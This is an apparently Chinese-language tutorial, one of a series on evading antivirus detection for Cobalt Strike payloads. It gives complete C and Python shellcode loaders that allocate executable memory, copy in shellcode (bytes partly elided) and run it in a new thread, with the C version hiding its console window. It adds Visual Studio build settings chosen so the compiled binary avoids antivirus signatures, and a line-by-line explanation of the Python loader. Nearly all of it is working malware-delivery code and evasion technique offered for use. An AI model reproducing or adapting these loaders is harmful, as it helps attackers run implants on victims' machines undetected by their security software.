CS免杀之06C加载器和Python加载器
C加载器源码
#include <windows.h> // Windows API 和 一些常量
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
// 注释
// 十六进制 shellcode
/* length: 894 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41......\x86\xa0";
void main() {
// 1.申请内存
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, 0x40);
// 2.复制shellcode到申请的内存中
memcpy(addr, buf, sizeof(buf));
// 3.运行shellcode,加载shellcode的方式
HANDLE hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
}
VisualStudio编译配置
VS 的一些编译特征会导致编译出的可执行文件特征成为查杀特征,所以需要配置 VS 来规避这些特征的出现。
选中项目, 右键属性进行配置
配置属性
C/C++
常规
SDL检查:否(/sdl-)
优化
优化:已禁用(/Od)
内联函数扩展:已禁用(/Ob0)
启用内部函数:否
优选大小或速度:代码大小优先(Os)
省略帧指针
默认启用纤程安全优化:否
全程序优化:否
代码生成
启用最小重新生成:是(/Gm)
运行库:多线程(/MT)
安全检查:禁用安全检查(/GS-)
启用函数级链接:是(/Gy)
语言
符合模式:否(/permissive)
链接器
清单文件
生成清单:否(/MANIFEST:NO)
调试
生成调试信息:否
清单工具
常规
取消显示启动版权标志:是(/nologo)
输入和输出
嵌入清单:否
Python加载器源码
import ctypes
# 在Python中调用Windows api
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
# shellcode
# length: 894 bytes
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41......x86\xa0"
sc = bytearray(buf) # 转成字节数组
# 设置VirtualAlloc
VirtualAlloc.restype = ctypes.c_uint64 # 重载函数返回类型为c_uint64
buf = (ctypes.c_char * len(sc)).from_buffer(sc) # 将sc指向指针
# 1.申请内存
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(sc)), 0x1000|0x2000, 0x40) # 申请内存
# 2.复制 shellcode到内存中
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(sc))) # 复制sc进申请的内存中
# 3.通过创建线程运行shellcode
h = CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(p),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))) # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1)) # 检测线程创建事件
import ctypes
: 导入ctypes
模块,这个模块提供了与 C 语言兼容的数据类型和函数调用方式。VirtualAlloc
,RtlMoveMemory
,CreateThread
,WaitForSingleObject
: 这些变量是通过ctypes
获取 kernel32.dll 中相关函数的句柄,用于内存操作和线程创建等操作。buf = b"\xfc..."
: 定义了一个包含 shellcode 的字节数组。这里的\xfc...
表示 shellcode 的内容。shellcode = bytearray(buf)
: 将 shellcode 转换为 bytearray 类型。VirtualAlloc.restype = ctypes.c_uint64
: 设置 VirtualAlloc 函数的返回类型为 c_uint64 。p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)
: 调用VirtualAlloc
分配内存,用于存放 shellcode。0x3000
表示分配提交(MEM_COMMIT
)和保留(MEM_RESERVE
)的内存,0x00000040
表示分配可执行(PAGE_EXECUTE_READWRITE
)的内存。buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
: 将 shellcode 的内容指向指针。RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))
: 使用RtlMoveMemory
函数将 shellcode 复制到申请的内存中。h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
: 调用CreateThread
创建一个新线程,将刚才分配的内存作为线程的起始地址。WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))
: 使用WaitForSingleObject
等待线程的结束。-1
表示无限等待,直到线程结束。